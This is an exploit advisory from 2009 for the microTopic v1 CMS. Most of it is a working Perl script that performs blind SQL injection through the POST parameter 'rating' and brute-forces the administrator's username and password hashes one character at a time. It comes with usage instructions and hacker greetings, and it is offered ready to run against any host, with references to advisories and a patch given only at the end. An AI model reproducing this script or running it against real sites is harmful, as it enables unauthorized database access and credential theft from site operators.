microTopic v1 Initial Release - SQL Injection

2009.05.19
Credit: y3nh4ck3r
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/perl #----------------------------------------------------------------------- ---- #(POST var 'rating') BLIND SQL INJECTION--microTopic v1 Initial Release--> #----------------------------------------------------------------------- ---- # #CMS INFORMATION: # #-->WEB: http://sourceforge.net/projects/microtopic/ #-->DOWNLOAD: http://sourceforge.net/projects/microtopic/ #-->DEMO: N/A #-->CATEGORY: CMS / Portal #-->DESCRIPTION: Simple News / Opinion site with page ranking Lightweight at ~ 200kb # Secure - Hashed challenge/response login Flexible... # #CMS VULNERABILITY: # #-->TESTED ON: firefox 3.0.10 #-->DORK: "N/A" #-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT #-->AFFECT VERSION: v-1 #-->Discovered Bug date: 2009-05-08 #-->Reported Bug date: 2009-05-08 #-->Fixed bug date: 2009-05-10 #-->Info patch (v1.01): http://sourceforge.net/projects/microtopic/ #-->Author: YEnH4ckEr #-->mail: y3nh4ck3r[at]gmail[dot]com #-->WEB/BLOG: N/A #-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo. # #------------ #VULN FILES: #------------ # #Path --> [HOME_PATH]/admin/utopic.php # #It contents: # # $query="SELECT UNIX_TIMESTAMP(max(datum)) FROM {$my_table}_ip WHERE id='$_POST[rating]' # AND ip='$_SERVER[REMOTE_ADDR]'"; # $sql=SendSQL($query); # #Path --> [HOME_PATH]/admin/mysql.php # #It contents: # #function SendSQL($query){ # $sql=mysql_query($query) or die("CANNOT ".$query); # return $sql; # } # #------------ #CONDITIONS: #------------ # # #**magic quotes=off # # ####################################################################### ####################################################################### ##*******************************************************************## ## SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)! ## ##*******************************************************************## ##-------------------------------------------------------------------## ##*******************************************************************## ## GREETZ TO: JosS, Ulises2k and all SPANISH Hack3Rs community! ## ##*******************************************************************## ####################################################################### ####################################################################### # #-------------------EOF---------------------------------->>>ENJOY IT! # use LWP::UserAgent; use HTTP::Request; #Subroutines sub lw { my $SO = $^O; my $linux = ""; if (index(lc($SO),"win")!=-1){ $linux="0"; }else{ $linux="1"; } if($linux){ system("clear"); } else{ system("cls"); system ("title microTopic v1 Initial Release (POST var 'rating') BLIND SQL Injection Exploit"); system ("color 02"); } } sub request { my $userag = LWP::UserAgent->new; $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); my $request = HTTP::Request -> new(POST => $_[0]); $request->content_type('application/x-www-form-urlencoded'); $request->content($_[1]); my $outcode= $userag->request($request)->as_string; return $outcode; } sub helper { print "\n\t[XxX] microTopic v1 Initial Release (POST var 'rating') BLIND SQL Injection Exploit\n"; print "\t[XxX] USAGE MODE: [XxX]\n"; print "\t[XxX] perl $0 [HOST] [PATH] [topic]\n"; print "\t[XxX] [HOST]: Web.\n"; print "\t[XxX] [PATH]: Home Path. Not path: no-path\n"; print "\t[XxX] [topic]: Valid topic. Opt: 1,2,3,4\n"; print "\t[XxX] Example: perl $0 'www.example.es' 'microtopic' '1'\n"; } sub error { print "\t-----------------------------------------------------------------\n"; print "\tWEB IS NOT VULNERABLE!\n"; print "\tMaybe --> \n"; print "\t1.-Patched\n"; print "\t2.-topic doesn't exist\n"; print "\t3.-Magic quotes ON\n"; print "\tEXPLOIT FAILED!\n"; print "\t-----------------------------------------------------------------\n"; } sub testedblindsql { print "\t-----------------------------------------------------------------\n"; print "\tWEB IS VULNERABLE!\n"; print "\tTested Blind SQL Injection.\n"; print "\tStarting exploit...Waiting...\n"; print "\t-----------------------------------------------------------------\n"; } sub exploit { my $result=""; $k=1; $z=48; while(($k<=32) && ($z<=126)){ $blindsqlpost="rate=1&rating=".$_[1]."'+AND+ascii(substring((SELECT+".$_ [2]."+FROM+utopic_login+WHERE+loginid=1),".$k.",1))='".$z."&postedcounte r=1&action=doit"; $output=&request($_[0],$blindsqlpost); if ( $output =~ (/\<\/head\>\<body\>/)) { $result=$result.chr($z); $k++; $z=47; } if($z==57) { $z=96; } #new char $z++; } return $result; } #Main &lw; print "\t\t#########################################################\n\n"; print "\t\t#########################################################\n\n"; print "\t\t## microTopic v1 Initial Release - BSQLi Exploit ##\n\n"; print "\t\t## Author: Y3nh4ck3r ##\n\n"; print "\t\t## Condition: magic quotes=off ##\n\n"; print "\t\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n"; print "\t\t## Proud to be Spanish! ##\n\n"; print "\t\t#########################################################\n\n"; print "\t\t#########################################################\n\n"; #Init variables my $host=$ARGV[0]; my $path=$ARGV[1]; my $topic=$ARGV[2]; #Build the uri if($path eq "no-path"){ $finalhost="http://".$host."/index.php?topic=".$topic; }else{ $finalhost="http://".$host."/".$path."/index.php?topic=".$topic; } #Check all variables needed $numArgs = $#ARGV + 1; if($numArgs<=2) { &helper; exit(1); } $finalrequest = $finalhost; #Testing blind sql injection $blindsqlpost="rate=1&rating=".$topic."'+AND+1='0&postedcounter=1&action =doit"; #blind sql injection $output=&request($finalrequest,$blindsqlpost); if ( $output !~ (/\<\/head\>\<body\>/)) { #blind sql injection is available &testedblindsql; }else{ #Not injectable &error; exit(1); } #Bruteforcing user... $usernamehash=&exploit($finalrequest,$topic,'username'); #Bruteforcing pass... $passhash=&exploit($finalrequest,$topic,'password'); print "\n\t\t*************************************************\n"; print "\t\t**** EXPLOIT EXECUTED WITH SUCCESS ****\n"; print "\t\t*************************************************\n\n"; print "\t\tUsername(md5 hash):".$usernamehash."\n"; print "\t\tPassword(md5 hash):".$passhash."\n\n"; print "\n\t\t<<----------------------FINISH!-------------------->>\n\n"; print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n"; print "\t\t<<------------------------EOF---------------------->>\n\n"; exit(1); #Ok...all job done

References:

http://www.vupen.com/english/advisories/2009/1288
http://www.securityfocus.com/bid/34907
http://xforce.iss.net/xforce/xfdb/50428
http://www.securityfocus.com/archive/1/archive/1/503422/100/0/threaded
http://www.milw0rm.com/exploits/8655
http://sourceforge.net/project/shownotes.php?group_id=261386&release_id=680474
http://secunia.com/advisories/35051


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